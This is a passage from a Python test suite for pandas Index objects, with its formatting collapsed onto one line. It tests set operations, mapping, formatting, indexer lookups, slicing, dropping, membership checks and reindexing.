idx1.intersection(idx2) tm.assert_index_equal(result, expected) idx2 = Index([4, 7, 6, 5, 3], name='other') expected = Index([5, 3, 4], name=None) result = idx1.intersection(idx2) tm.assert_index_equal(result, expected) # non-monotonic non-unique idx1 = Index(['A', 'B', 'A', 'C']) idx2 = Index(['B', 'D']) expected = Index(['B'], dtype='object') result = idx1.intersection(idx2) tm.assert_index_equal(result, expected) idx2 = Index(['B', 'D', 'A']) expected = Index(['A', 'B', 'A'], dtype='object') result = idx1.intersection(idx2) tm.assert_index_equal(result, expected) # preserve names first = self.strIndex[5:20] second = self.strIndex[:10] first.name = 'A' second.name = 'A' intersect = first.intersection(second) assert intersect.name == 'A' second.name = 'B' intersect = first.intersection(second) assert intersect.name is None first.name = None second.name = 'B' intersect = first.intersection(second) assert intersect.name is None def test_intersect_str_dates(self): dt_dates = [datetime(2012, 2, 9), datetime(2012, 2, 22)] i1 = Index(dt_dates, dtype=object) i2 = Index(['aa'], dtype=object) res = i2.intersection(i1) assert len(res) == 0 def test_union(self): first = self.strIndex[5:20] second = self.strIndex[:10] everything = self.strIndex[:20] union = first.union(second) assert tm.equalContents(union, everything) # GH 10149 cases = [klass(second.values) for klass in [np.array, Series, list]] for case in cases: result = first.union(case) assert tm.equalContents(result, everything) # Corner cases union = first.union(first) assert union is first union = first.union([]) assert union is first union = Index([]).union(first) assert union is first # preserve names first = Index(list('ab'), name='A') second = Index(list('ab'), name='B') union = first.union(second) expected = Index(list('ab'), name=None) tm.assert_index_equal(union, expected) first = Index(list('ab'), name='A') second = Index([], name='B') union = first.union(second) expected = Index(list('ab'), name=None) tm.assert_index_equal(union, expected) first = Index([], name='A') second = Index(list('ab'), name='B') union = first.union(second) expected = Index(list('ab'), name=None) tm.assert_index_equal(union, expected) first = Index(list('ab')) second = Index(list('ab'), name='B') union = first.union(second) expected = Index(list('ab'), name='B') tm.assert_index_equal(union, expected) first = Index([]) second = Index(list('ab'), name='B') union = first.union(second) expected = Index(list('ab'), name='B') tm.assert_index_equal(union, expected) first = Index(list('ab')) second = Index([], name='B') union = first.union(second) expected = Index(list('ab'), name='B') tm.assert_index_equal(union, expected) first = Index(list('ab'), name='A') second = Index(list('ab')) union = first.union(second) expected = Index(list('ab'), name='A') tm.assert_index_equal(union, expected) first = Index(list('ab'), name='A') second = Index([]) union = first.union(second) expected = Index(list('ab'), name='A') tm.assert_index_equal(union, expected) first = Index([], name='A') second = Index(list('ab')) union = first.union(second) expected = Index(list('ab'), name='A') tm.assert_index_equal(union, expected) with tm.assert_produces_warning(RuntimeWarning): firstCat = self.strIndex.union(self.dateIndex) secondCat = self.strIndex.union(self.strIndex) if self.dateIndex.dtype == np.object_: appended = np.append(self.strIndex, self.dateIndex) else: appended = np.append(self.strIndex, self.dateIndex.astype('O')) assert tm.equalContents(firstCat, appended) assert tm.equalContents(secondCat, self.strIndex) tm.assert_contains_all(self.strIndex, firstCat) tm.assert_contains_all(self.strIndex, secondCat) tm.assert_contains_all(self.dateIndex, firstCat) def test_add(self): idx = self.strIndex expected = Index(self.strIndex.values * 2) tm.assert_index_equal(idx + idx, expected) tm.assert_index_equal(idx + idx.tolist(), expected) tm.assert_index_equal(idx.tolist() + idx, expected) # test add and radd idx = Index(list('abc')) expected = Index(['a1', 'b1', 'c1']) tm.assert_index_equal(idx + '1', expected) expected = Index(['1a', '1b', '1c']) tm.assert_index_equal('1' + idx, expected) def test_sub(self): idx = self.strIndex pytest.raises(TypeError, lambda: idx - 'a') pytest.raises(TypeError, lambda: idx - idx) pytest.raises(TypeError, lambda: idx - idx.tolist()) pytest.raises(TypeError, lambda: idx.tolist() - idx) def test_map_identity_mapping(self): # GH 12766 for name, cur_index in self.indices.items(): tm.assert_index_equal(cur_index, cur_index.map(lambda x: x)) def test_map_with_tuples(self): # GH 12766 # Test that returning a single tuple from an Index # returns an Index. boolean_index = tm.makeIntIndex(3).map(lambda x: (x,)) expected = Index([(0,), (1,), (2,)]) tm.assert_index_equal(boolean_index, expected) # Test that returning a tuple from a map of a single index # returns a MultiIndex object. boolean_index = tm.makeIntIndex(3).map(lambda x: (x, x == 1)) expected = MultiIndex.from_tuples([(0, False), (1, True), (2, False)]) tm.assert_index_equal(boolean_index, expected) # Test that returning a single object from a MultiIndex # returns an Index. first_level = ['foo', 'bar', 'baz'] multi_index = MultiIndex.from_tuples(lzip(first_level, [1, 2, 3])) reduced_index = multi_index.map(lambda x: x[0]) tm.assert_index_equal(reduced_index, Index(first_level)) def test_map_tseries_indices_return_index(self): date_index = tm.makeDateIndex(10) exp = Index([1] * 10) tm.assert_index_equal(exp, date_index.map(lambda x: 1)) period_index = tm.makePeriodIndex(10) tm.assert_index_equal(exp, period_index.map(lambda x: 1)) tdelta_index = tm.makeTimedeltaIndex(10) tm.assert_index_equal(exp, tdelta_index.map(lambda x: 1)) date_index = tm.makeDateIndex(24, freq='h', name='hourly') exp = Index(range(24), name='hourly') tm.assert_index_equal(exp, date_index.map(lambda x: x.hour)) @pytest.mark.parametrize( "mapper", [ lambda values, index: {i: e for e, i in zip(values, index)}, lambda values, index: pd.Series(values, index)]) def test_map_dictlike(self, mapper): # GH 12756 expected = Index(['foo', 'bar', 'baz']) result = tm.makeIntIndex(3).map(mapper(expected.values, [0, 1, 2])) tm.assert_index_equal(result, expected) for name in self.indices.keys(): if name == 'catIndex': # Tested in test_categorical continue elif name == 'repeats': # Cannot map duplicated index continue index = self.indices[name] expected = Index(np.arange(len(index), 0, -1)) # to match proper result coercion for uints if name == 'uintIndex': expected = expected.astype('uint64') elif name == 'empty': expected = Index([]) result = index.map(mapper(expected, index)) tm.assert_index_equal(result, expected) def test_map_with_non_function_missing_values(self): # GH 12756 expected = Index([2., np.nan, 'foo']) input = Index([2, 1, 0]) mapper = Series(['foo', 2., 'baz'], index=[0, 2, -1]) tm.assert_index_equal(expected, input.map(mapper)) mapper = {0: 'foo', 2: 2.0, -1: 'baz'} tm.assert_index_equal(expected, input.map(mapper)) def test_map_na_exclusion(self): idx = Index([1.5, np.nan, 3, np.nan, 5]) result = idx.map(lambda x: x * 2, na_action='ignore') exp = idx * 2 tm.assert_index_equal(result, exp) def test_map_defaultdict(self): idx = Index([1, 2, 3]) default_dict = defaultdict(lambda: 'blank') default_dict[1] = 'stuff' result = idx.map(default_dict) expected = Index(['stuff', 'blank', 'blank']) tm.assert_index_equal(result, expected) def test_append_multiple(self): index = Index(['a', 'b', 'c', 'd', 'e', 'f']) foos = [index[:2], index[2:4], index[4:]] result = foos[0].append(foos[1:]) tm.assert_index_equal(result, index) # empty result = index.append([]) tm.assert_index_equal(result, index) def test_append_empty_preserve_name(self): left = Index([], name='foo') right = Index([1, 2, 3], name='foo') result = left.append(right) assert result.name == 'foo' left = Index([], name='foo') right = Index([1, 2, 3], name='bar') result = left.append(right) assert result.name is None def test_add_string(self): # from bug report index = Index(['a', 'b', 'c']) index2 = index + 'foo' assert 'a' not in index2 assert 'afoo' in index2 def test_iadd_string(self): index = pd.Index(['a', 'b', 'c']) # doesn't fail test unless there is a check before `+=` assert 'a' in index index += '_x' assert 'a_x' in index def test_difference(self): first = self.strIndex[5:20] second = self.strIndex[:10] answer = self.strIndex[10:20] first.name = 'name' # different names result = first.difference(second) assert tm.equalContents(result, answer) assert result.name is None # same names second.name = 'name' result = first.difference(second) assert result.name == 'name' # with empty result = first.difference([]) assert tm.equalContents(result, first) assert result.name == first.name # with everything result = first.difference(first) assert len(result) == 0 assert result.name == first.name def test_symmetric_difference(self): # smoke idx1 = Index([1, 2, 3, 4], name='idx1') idx2 = Index([2, 3, 4, 5]) result = idx1.symmetric_difference(idx2) expected = Index([1, 5]) assert tm.equalContents(result, expected) assert result.name is None # __xor__ syntax expected = idx1 ^ idx2 assert tm.equalContents(result, expected) assert result.name is None # multiIndex idx1 = MultiIndex.from_tuples(self.tuples) idx2 = MultiIndex.from_tuples([('foo', 1), ('bar', 3)]) result = idx1.symmetric_difference(idx2) expected = MultiIndex.from_tuples([('bar', 2), ('baz', 3), ('bar', 3)]) assert tm.equalContents(result, expected) # nans: # GH 13514 change: {nan} - {nan} == {} # (GH 6444, sorting of nans, is no longer an issue) idx1 = Index([1, np.nan, 2, 3]) idx2 = Index([0, 1, np.nan]) idx3 = Index([0, 1]) result = idx1.symmetric_difference(idx2) expected = Index([0.0, 2.0, 3.0]) tm.assert_index_equal(result, expected) result = idx1.symmetric_difference(idx3) expected = Index([0.0, 2.0, 3.0, np.nan]) tm.assert_index_equal(result, expected) # other not an Index: idx1 = Index([1, 2, 3, 4], name='idx1') idx2 = np.array([2, 3, 4, 5]) expected = Index([1, 5]) result = idx1.symmetric_difference(idx2) assert tm.equalContents(result, expected) assert result.name == 'idx1' result = idx1.symmetric_difference(idx2, result_name='new_name') assert tm.equalContents(result, expected) assert result.name == 'new_name' def test_is_numeric(self): assert not self.dateIndex.is_numeric() assert not self.strIndex.is_numeric() assert self.intIndex.is_numeric() assert self.floatIndex.is_numeric() assert not self.catIndex.is_numeric() def test_is_object(self): assert self.strIndex.is_object() assert self.boolIndex.is_object() assert not self.catIndex.is_object() assert not self.intIndex.is_object() assert not self.dateIndex.is_object() assert not self.floatIndex.is_object() def test_is_all_dates(self): assert self.dateIndex.is_all_dates assert not self.strIndex.is_all_dates assert not self.intIndex.is_all_dates def test_summary(self): self._check_method_works(Index.summary) # GH3869 ind = Index(['{other}%s', "~:{range}:0"], name='A') result = ind.summary() # shouldn't be formatted accidentally. assert '~:{range}:0' in result assert '{other}%s' in result def test_format(self): self._check_method_works(Index.format) # GH 14626 # windows has different precision on datetime.datetime.now (it doesn't # include us since the default for Timestamp shows these but Index # formating does not we are skipping) now = datetime.now() if not str(now).endswith("000"): index = Index([now]) formatted = index.format() expected = [str(index[0])] assert formatted == expected # 2845 index = Index([1, 2.0 + 3.0j, np.nan]) formatted = index.format() expected = [str(index[0]), str(index[1]), u('NaN')] assert formatted == expected # is this really allowed? index = Index([1, 2.0 + 3.0j, None]) formatted = index.format() expected = [str(index[0]), str(index[1]), u('NaN')] assert formatted == expected self.strIndex[:0].format() def test_format_with_name_time_info(self): # bug I fixed 12/20/2011 inc = timedelta(hours=4) dates = Index([dt + inc for dt in self.dateIndex], name='something') formatted = dates.format(name=True) assert formatted[0] == 'something' def test_format_datetime_with_time(self): t = Index([datetime(2012, 2, 7), datetime(2012, 2, 7, 23)]) result = t.format() expected = ['2012-02-07 00:00:00', '2012-02-07 23:00:00'] assert len(result) == 2 assert result == expected def test_format_none(self): values = ['a', 'b', 'c', None] idx = Index(values) idx.format() assert idx[3] is None def test_logical_compat(self): idx = self.create_index() assert idx.all() == idx.values.all() assert idx.any() == idx.values.any() def _check_method_works(self, method): method(self.empty) method(self.dateIndex) method(self.unicodeIndex) method(self.strIndex) method(self.intIndex) method(self.tuples) method(self.catIndex) def test_get_indexer(self): idx1 = Index([1, 2, 3, 4, 5]) idx2 = Index([2, 4, 6]) r1 = idx1.get_indexer(idx2) assert_almost_equal(r1, np.array([1, 3, -1], dtype=np.intp)) r1 = idx2.get_indexer(idx1, method='pad') e1 = np.array([-1, 0, 0, 1, 1], dtype=np.intp) assert_almost_equal(r1, e1) r2 = idx2.get_indexer(idx1[::-1], method='pad') assert_almost_equal(r2, e1[::-1]) rffill1 = idx2.get_indexer(idx1, method='ffill') assert_almost_equal(r1, rffill1) r1 = idx2.get_indexer(idx1, method='backfill') e1 = np.array([0, 0, 1, 1, 2], dtype=np.intp) assert_almost_equal(r1, e1) rbfill1 = idx2.get_indexer(idx1, method='bfill') assert_almost_equal(r1, rbfill1) r2 = idx2.get_indexer(idx1[::-1], method='backfill') assert_almost_equal(r2, e1[::-1]) def test_get_indexer_invalid(self): # GH10411 idx = Index(np.arange(10)) with tm.assert_raises_regex(ValueError, 'tolerance argument'): idx.get_indexer([1, 0], tolerance=1) with tm.assert_raises_regex(ValueError, 'limit argument'): idx.get_indexer([1, 0], limit=1) @pytest.mark.parametrize( 'method, tolerance, indexer, expected', [ ('pad', None, [0, 5, 9], [0, 5, 9]), ('backfill', None, [0, 5, 9], [0, 5, 9]), ('nearest', None, [0, 5, 9], [0, 5, 9]), ('pad', 0, [0, 5, 9], [0, 5, 9]), ('backfill', 0, [0, 5, 9], [0, 5, 9]), ('nearest', 0, [0, 5, 9], [0, 5, 9]), ('pad', None, [0.2, 1.8, 8.5], [0, 1, 8]), ('backfill', None, [0.2, 1.8, 8.5], [1, 2, 9]), ('nearest', None, [0.2, 1.8, 8.5], [0, 2, 9]), ('pad', 1, [0.2, 1.8, 8.5], [0, 1, 8]), ('backfill', 1, [0.2, 1.8, 8.5], [1, 2, 9]), ('nearest', 1, [0.2, 1.8, 8.5], [0, 2, 9]), ('pad', 0.2, [0.2, 1.8, 8.5], [0, -1, -1]), ('backfill', 0.2, [0.2, 1.8, 8.5], [-1, 2, -1]), ('nearest', 0.2, [0.2, 1.8, 8.5], [0, 2, -1])]) def test_get_indexer_nearest(self, method, tolerance, indexer, expected): idx = Index(np.arange(10)) actual = idx.get_indexer(indexer, method=method, tolerance=tolerance) tm.assert_numpy_array_equal(actual, np.array(expected, dtype=np.intp)) @pytest.mark.parametrize('listtype', [list, tuple, Series, np.array]) @pytest.mark.parametrize( 'tolerance, expected', list(zip([[0.3, 0.3, 0.1], [0.2, 0.1, 0.1], [0.1, 0.5, 0.5]], [[0, 2, -1], [0, -1, -1], [-1, 2, 9]]))) def test_get_indexer_nearest_listlike_tolerance(self, tolerance, expected, listtype): idx = Index(np.arange(10)) actual = idx.get_indexer([0.2, 1.8, 8.5], method='nearest', tolerance=listtype(tolerance)) tm.assert_numpy_array_equal(actual, np.array(expected, dtype=np.intp)) def test_get_indexer_nearest_error(self): idx = Index(np.arange(10)) with tm.assert_raises_regex(ValueError, 'limit argument'): idx.get_indexer([1, 0], method='nearest', limit=1) with pytest.raises(ValueError, match='tolerance size must match'): idx.get_indexer([1, 0], method='nearest', tolerance=[1, 2, 3]) def test_get_indexer_nearest_decreasing(self): idx = Index(np.arange(10))[::-1] all_methods = ['pad', 'backfill', 'nearest'] for method in all_methods: actual = idx.get_indexer([0, 5, 9], method=method) tm.assert_numpy_array_equal(actual, np.array([9, 4, 0], dtype=np.intp)) for method, expected in zip(all_methods, [[8, 7, 0], [9, 8, 1], [9, 7, 0]]): actual = idx.get_indexer([0.2, 1.8, 8.5], method=method) tm.assert_numpy_array_equal(actual, np.array(expected, dtype=np.intp)) def test_get_indexer_strings(self): idx = pd.Index(['b', 'c']) actual = idx.get_indexer(['a', 'b', 'c', 'd'], method='pad') expected = np.array([-1, 0, 1, 1], dtype=np.intp) tm.assert_numpy_array_equal(actual, expected) actual = idx.get_indexer(['a', 'b', 'c', 'd'], method='backfill') expected = np.array([0, 0, 1, -1], dtype=np.intp) tm.assert_numpy_array_equal(actual, expected) with pytest.raises(TypeError): idx.get_indexer(['a', 'b', 'c', 'd'], method='nearest') with pytest.raises(TypeError): idx.get_indexer(['a', 'b', 'c', 'd'], method='pad', tolerance=2) with pytest.raises(TypeError): idx.get_indexer(['a', 'b', 'c', 'd'], method='pad', tolerance=[2, 2, 2, 2]) def test_get_indexer_numeric_index_boolean_target(self): # GH 16877 numeric_idx = pd.Index(range(4)) result = numeric_idx.get_indexer([True, False, True]) expected = np.array([-1, -1, -1], dtype=np.intp) tm.assert_numpy_array_equal(result, expected) def test_get_loc(self): idx = pd.Index([0, 1, 2]) all_methods = [None, 'pad', 'backfill', 'nearest'] for method in all_methods: assert idx.get_loc(1, method=method) == 1 if method is not None: assert idx.get_loc(1, method=method, tolerance=0) == 1 with pytest.raises(TypeError): idx.get_loc([1, 2], method=method) for method, loc in [('pad', 1), ('backfill', 2), ('nearest', 1)]: assert idx.get_loc(1.1, method) == loc for method, loc in [('pad', 1), ('backfill', 2), ('nearest', 1)]: assert idx.get_loc(1.1, method, tolerance=1) == loc for method in ['pad', 'backfill', 'nearest']: with pytest.raises(KeyError): idx.get_loc(1.1, method, tolerance=0.05) with tm.assert_raises_regex(ValueError, 'must be numeric'): idx.get_loc(1.1, 'nearest', tolerance='invalid') with tm.assert_raises_regex(ValueError, 'tolerance .* valid if'): idx.get_loc(1.1, tolerance=1) with pytest.raises(ValueError, match='tolerance size must match'): idx.get_loc(1.1, 'nearest', tolerance=[1, 1]) idx = pd.Index(['a', 'c']) with pytest.raises(TypeError): idx.get_loc('a', method='nearest') with pytest.raises(TypeError): idx.get_loc('a', method='pad', tolerance='invalid') def test_slice_locs(self): for dtype in [int, float]: idx = Index(np.array([0, 1, 2, 5, 6, 7, 9, 10], dtype=dtype)) n = len(idx) assert idx.slice_locs(start=2) == (2, n) assert idx.slice_locs(start=3) == (3, n) assert idx.slice_locs(3, 8) == (3, 6) assert idx.slice_locs(5, 10) == (3, n) assert idx.slice_locs(end=8) == (0, 6) assert idx.slice_locs(end=9) == (0, 7) # reversed idx2 = idx[::-1] assert idx2.slice_locs(8, 2) == (2, 6) assert idx2.slice_locs(7, 3) == (2, 5) # float slicing idx = Index(np.array([0, 1, 2, 5, 6, 7, 9, 10], dtype=float)) n = len(idx) assert idx.slice_locs(5.0, 10.0) == (3, n) assert idx.slice_locs(4.5, 10.5) == (3, 8) idx2 = idx[::-1] assert idx2.slice_locs(8.5, 1.5) == (2, 6) assert idx2.slice_locs(10.5, -1) == (0, n) # int slicing with floats # GH 4892, these are all TypeErrors idx = Index(np.array([0, 1, 2, 5, 6, 7, 9, 10], dtype=int)) pytest.raises(TypeError, lambda: idx.slice_locs(5.0, 10.0), (3, n)) pytest.raises(TypeError, lambda: idx.slice_locs(4.5, 10.5), (3, 8)) idx2 = idx[::-1] pytest.raises(TypeError, lambda: idx2.slice_locs(8.5, 1.5), (2, 6)) pytest.raises(TypeError, lambda: idx2.slice_locs(10.5, -1), (0, n)) def test_slice_locs_dup(self): idx = Index(['a', 'a', 'b', 'c', 'd', 'd']) assert idx.slice_locs('a', 'd') == (0, 6) assert idx.slice_locs(end='d') == (0, 6) assert idx.slice_locs('a', 'c') == (0, 4) assert idx.slice_locs('b', 'd') == (2, 6) idx2 = idx[::-1] assert idx2.slice_locs('d', 'a') == (0, 6) assert idx2.slice_locs(end='a') == (0, 6) assert idx2.slice_locs('d', 'b') == (0, 4) assert idx2.slice_locs('c', 'a') == (2, 6) for dtype in [int, float]: idx = Index(np.array([10, 12, 12, 14], dtype=dtype)) assert idx.slice_locs(12, 12) == (1, 3) assert idx.slice_locs(11, 13) == (1, 3) idx2 = idx[::-1] assert idx2.slice_locs(12, 12) == (1, 3) assert idx2.slice_locs(13, 11) == (1, 3) def test_slice_locs_na(self): idx = Index([np.nan, 1, 2]) pytest.raises(KeyError, idx.slice_locs, start=1.5) pytest.raises(KeyError, idx.slice_locs, end=1.5) assert idx.slice_locs(1) == (1, 3) assert idx.slice_locs(np.nan) == (0, 3) idx = Index([0, np.nan, np.nan, 1, 2]) assert idx.slice_locs(np.nan) == (1, 5) def test_slice_locs_negative_step(self): idx = Index(list('bcdxy')) SLC = pd.IndexSlice def check_slice(in_slice, expected): s_start, s_stop = idx.slice_locs(in_slice.start, in_slice.stop, in_slice.step) result = idx[s_start:s_stop:in_slice.step] expected = pd.Index(list(expected)) tm.assert_index_equal(result, expected) for in_slice, expected in [ (SLC[::-1], 'yxdcb'), (SLC['b':'y':-1], ''), (SLC['b'::-1], 'b'), (SLC[:'b':-1], 'yxdcb'), (SLC[:'y':-1], 'y'), (SLC['y'::-1], 'yxdcb'), (SLC['y'::-4], 'yb'), # absent labels (SLC[:'a':-1], 'yxdcb'), (SLC[:'a':-2], 'ydb'), (SLC['z'::-1], 'yxdcb'), (SLC['z'::-3], 'yc'), (SLC['m'::-1], 'dcb'), (SLC[:'m':-1], 'yx'), (SLC['a':'a':-1], ''), (SLC['z':'z':-1], ''), (SLC['m':'m':-1], '') ]: check_slice(in_slice, expected) def test_drop(self): n = len(self.strIndex) drop = self.strIndex[lrange(5, 10)] dropped = self.strIndex.drop(drop) expected = self.strIndex[lrange(5) + lrange(10, n)] tm.assert_index_equal(dropped, expected) pytest.raises(ValueError, self.strIndex.drop, ['foo', 'bar']) pytest.raises(ValueError, self.strIndex.drop, ['1', 'bar']) # errors='ignore' mixed = drop.tolist() + ['foo'] dropped = self.strIndex.drop(mixed, errors='ignore') expected = self.strIndex[lrange(5) + lrange(10, n)] tm.assert_index_equal(dropped, expected) dropped = self.strIndex.drop(['foo', 'bar'], errors='ignore') expected = self.strIndex[lrange(n)] tm.assert_index_equal(dropped, expected) dropped = self.strIndex.drop(self.strIndex[0]) expected = self.strIndex[1:] tm.assert_index_equal(dropped, expected) ser = Index([1, 2, 3]) dropped = ser.drop(1) expected = Index([2, 3]) tm.assert_index_equal(dropped, expected) # errors='ignore' pytest.raises(ValueError, ser.drop, [3, 4]) dropped = ser.drop(4, errors='ignore') expected = Index([1, 2, 3]) tm.assert_index_equal(dropped, expected) dropped = ser.drop([3, 4, 5], errors='ignore') expected = Index([1, 2]) tm.assert_index_equal(dropped, expected) def test_tuple_union_bug(self): import pandas import numpy as np aidx1 = np.array([(1, 'A'), (2, 'A'), (1, 'B'), (2, 'B')], dtype=[('num', int), ('let', 'a1')]) aidx2 = np.array([(1, 'A'), (2, 'A'), (1, 'B'), (2, 'B'), (1, 'C'), (2, 'C')], dtype=[('num', int), ('let', 'a1')]) idx1 = pandas.Index(aidx1) idx2 = pandas.Index(aidx2) # intersection broken? int_idx = idx1.intersection(idx2) # needs to be 1d like idx1 and idx2 expected = idx1[:4] # pandas.Index(sorted(set(idx1) & set(idx2))) assert int_idx.ndim == 1 tm.assert_index_equal(int_idx, expected) # union broken union_idx = idx1.union(idx2) expected = idx2 assert union_idx.ndim == 1 tm.assert_index_equal(union_idx, expected) def test_is_monotonic_incomparable(self): index = Index([5, datetime.now(), 7]) assert not index.is_monotonic_increasing assert not index.is_monotonic_decreasing assert not index._is_strictly_monotonic_increasing assert not index._is_strictly_monotonic_decreasing def test_get_set_value(self): values = np.random.randn(100) date = self.dateIndex[67] assert_almost_equal(self.dateIndex.get_value(values, date), values[67]) self.dateIndex.set_value(values, date, 10) assert values[67] == 10 def test_isin(self): values = ['foo', 'bar', 'quux'] idx = Index(['qux', 'baz', 'foo', 'bar']) result = idx.isin(values) expected = np.array([False, False, True, True]) tm.assert_numpy_array_equal(result, expected) # set result = idx.isin(set(values)) tm.assert_numpy_array_equal(result, expected) # empty, return dtype bool idx = Index([]) result = idx.isin(values) assert len(result) == 0 assert result.dtype == np.bool_ @pytest.mark.skipif(PYPY, reason="np.nan is float('nan') on PyPy") def test_isin_nan_not_pypy(self): tm.assert_numpy_array_equal(Index(['a', np.nan]).isin([float('nan')]), np.array([False, False])) @pytest.mark.skipif(not PYPY, reason="np.nan is float('nan') on PyPy") def test_isin_nan_pypy(self): tm.assert_numpy_array_equal(Index(['a', np.nan]).isin([float('nan')]), np.array([False, True])) def test_isin_nan_common(self): tm.assert_numpy_array_equal(Index(['a', np.nan]).isin([np.nan]), np.array([False, True])) tm.assert_numpy_array_equal(Index(['a', pd.NaT]).isin([pd.NaT]), np.array([False, True])) tm.assert_numpy_array_equal(Index(['a', np.nan]).isin([pd.NaT]), np.array([False, False])) # Float64Index overrides isin, so must be checked separately tm.assert_numpy_array_equal(Float64Index([1.0, np.nan]).isin([np.nan]), np.array([False, True])) tm.assert_numpy_array_equal( Float64Index([1.0, np.nan]).isin([float('nan')]), np.array([False, True])) # we cannot compare NaT with NaN tm.assert_numpy_array_equal(Float64Index([1.0, np.nan]).isin([pd.NaT]), np.array([False, False])) def test_isin_level_kwarg(self): def check_idx(idx): values = idx.tolist()[-2:] + ['nonexisting'] expected = np.array([False, False, True, True]) tm.assert_numpy_array_equal(expected, idx.isin(values, level=0)) tm.assert_numpy_array_equal(expected, idx.isin(values, level=-1)) pytest.raises(IndexError, idx.isin, values, level=1) pytest.raises(IndexError, idx.isin, values, level=10) pytest.raises(IndexError, idx.isin, values, level=-2) pytest.raises(KeyError, idx.isin, values, level=1.0) pytest.raises(KeyError, idx.isin, values, level='foobar') idx.name = 'foobar' tm.assert_numpy_array_equal(expected, idx.isin(values, level='foobar')) pytest.raises(KeyError, idx.isin, values, level='xyzzy') pytest.raises(KeyError, idx.isin, values, level=np.nan) check_idx(Index(['qux', 'baz', 'foo', 'bar'])) # Float64Index overrides isin, so must be checked separately check_idx(Float64Index([1.0, 2.0, 3.0, 4.0])) @pytest.mark.parametrize("empty", [[], Series(), np.array([])]) def test_isin_empty(self, empty): # see gh-16991 idx = Index(["a", "b"]) expected = np.array([False, False]) result = idx.isin(empty) tm.assert_numpy_array_equal(expected, result) def test_boolean_cmp(self): values = [1, 2, 3, 4] idx = Index(values) res = (idx == values) tm.assert_numpy_array_equal(res, np.array( [True, True, True, True], dtype=bool)) def test_get_level_values(self): result = self.strIndex.get_level_values(0) tm.assert_index_equal(result, self.strIndex) # test for name (GH 17414) index_with_name = self.strIndex.copy() index_with_name.name = 'a' result = index_with_name.get_level_values('a') tm.assert_index_equal(result, index_with_name) def test_slice_keep_name(self): idx = Index(['a', 'b'], name='asdf') assert idx.name == idx[1:].name def test_join_self(self): # instance attributes of the form self.<name>Index indices = 'unicode', 'str', 'date', 'int', 'float' kinds = 'outer', 'inner', 'left', 'right' for index_kind in indices: res = getattr(self, '{0}Index'.format(index_kind)) for kind in kinds: joined = res.join(res, how=kind) assert res is joined def test_str_attribute(self): # GH9068 methods = ['strip', 'rstrip', 'lstrip'] idx = Index([' jack', 'jill ', ' jesse ', 'frank']) for method in methods: expected = Index([getattr(str, method)(x) for x in idx.values]) tm.assert_index_equal( getattr(Index.str, method)(idx.str), expected) # create a few instances that are not able to use .str accessor indices = [Index(range(5)), tm.makeDateIndex(10), MultiIndex.from_tuples([('foo', '1'), ('bar', '3')]), PeriodIndex(start='2000', end='2010', freq='A')] for idx in indices: with tm.assert_raises_regex(AttributeError, 'only use .str accessor'): idx.str.repeat(2) idx = Index(['a b c', 'd e', 'f']) expected = Index([['a', 'b', 'c'], ['d', 'e'], ['f']]) tm.assert_index_equal(idx.str.split(), expected) tm.assert_index_equal(idx.str.split(expand=False), expected) expected = MultiIndex.from_tuples([('a', 'b', 'c'), ('d', 'e', np.nan), ('f', np.nan, np.nan)]) tm.assert_index_equal(idx.str.split(expand=True), expected) # test boolean case, should return np.array instead of boolean Index idx = Index(['a1', 'a2', 'b1', 'b2']) expected = np.array([True, True, False, False]) tm.assert_numpy_array_equal(idx.str.startswith('a'), expected) assert isinstance(idx.str.startswith('a'), np.ndarray) s = Series(range(4), index=idx) expected = Series(range(2), index=['a1', 'a2']) tm.assert_series_equal(s[s.index.str.startswith('a')], expected) def test_tab_completion(self): # GH 9910 idx = Index(list('abcd')) assert 'str' in dir(idx) idx = Index(range(4)) assert 'str' not in dir(idx) def test_indexing_doesnt_change_class(self): idx = Index([1, 2, 3, 'a', 'b', 'c']) assert idx[1:3].identical(pd.Index([2, 3], dtype=np.object_)) assert idx[[0, 1]].identical(pd.Index([1, 2], dtype=np.object_)) def test_outer_join_sort(self): left_idx = Index(np.random.permutation(15)) right_idx = tm.makeDateIndex(10) with tm.assert_produces_warning(RuntimeWarning): joined = left_idx.join(right_idx, how='outer') # right_idx in this case because DatetimeIndex has join precedence over # Int64Index with tm.assert_produces_warning(RuntimeWarning): expected = right_idx.astype(object).union(left_idx.astype(object)) tm.assert_index_equal(joined, expected) def test_nan_first_take_datetime(self): idx = Index([pd.NaT, Timestamp('20130101'), Timestamp('20130102')]) res = idx.take([-1, 0, 1]) exp = Index([idx[-1], idx[0], idx[1]]) tm.assert_index_equal(res, exp) def test_take_fill_value(self): # GH 12631 idx = pd.Index(list('ABC'), name='xxx') result = idx.take(np.array([1, 0, -1])) expected = pd.Index(list('BAC'), name='xxx') tm.assert_index_equal(result, expected) # fill_value result = idx.take(np.array([1, 0, -1]), fill_value=True) expected = pd.Index(['B', 'A', np.nan], name='xxx') tm.assert_index_equal(result, expected) # allow_fill=False result = idx.take(np.array([1, 0, -1]), allow_fill=False, fill_value=True) expected = pd.Index(['B', 'A', 'C'], name='xxx') tm.assert_index_equal(result, expected) msg = ('When allow_fill=True and fill_value is not None, ' 'all indices must be >= -1') with tm.assert_raises_regex(ValueError, msg): idx.take(np.array([1, 0, -2]), fill_value=True) with tm.assert_raises_regex(ValueError, msg): idx.take(np.array([1, 0, -5]), fill_value=True) with pytest.raises(IndexError): idx.take(np.array([1, -5])) def test_reshape_raise(self): msg = "reshaping is not supported" idx = pd.Index([0, 1, 2]) tm.assert_raises_regex(NotImplementedError, msg, idx.reshape, idx.shape) def test_reindex_preserves_name_if_target_is_list_or_ndarray(self): # GH6552 idx = pd.Index([0, 1, 2]) dt_idx = pd.date_range('20130101', periods=3) idx.name = None assert idx.reindex([])[0].name is None assert idx.reindex(np.array([]))[0].name is None assert idx.reindex(idx.tolist())[0].name is None assert idx.reindex(idx.tolist()[:-1])[0].name is None assert idx.reindex(idx.values)[0].name is None assert idx.reindex(idx.values[:-1])[0].name is None # Must preserve name even if dtype changes. assert idx.reindex(dt_idx.values)[0].name is None assert idx.reindex(dt_idx.tolist())[0].name is None idx.name = 'foobar' assert idx.reindex([])[0].name == 'foobar' assert idx.reindex(np.array([]))[0].name == 'foobar' assert idx.reindex(idx.tolist())[0].name == 'foobar' assert idx.reindex(idx.tolist()[:-1])[0].name == 'foobar' assert idx.reindex(idx.values)[0].name == 'foobar' assert idx.reindex(idx.values[:-1])[0].name == 'foobar' # Must preserve name even if dtype changes. assert idx.reindex(dt_idx.values)[0].name == 'foobar' assert idx.reindex(dt_idx.tolist())[0].name == 'foobar' def test_reindex_preserves_type_if_target_is_empty_list_or_array(self): # GH7774 idx = pd.Index(list('abc')) def get_reindex_type(target): return 